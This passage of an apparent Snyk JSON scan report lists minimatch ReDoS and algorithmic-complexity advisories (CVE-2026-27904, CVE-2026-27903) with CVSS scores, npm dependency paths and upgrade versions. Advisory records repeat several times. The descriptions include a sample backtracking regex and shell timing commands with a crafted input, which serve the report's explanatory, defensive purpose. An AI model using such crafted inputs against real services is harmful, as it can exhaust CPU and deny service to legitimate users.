user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": 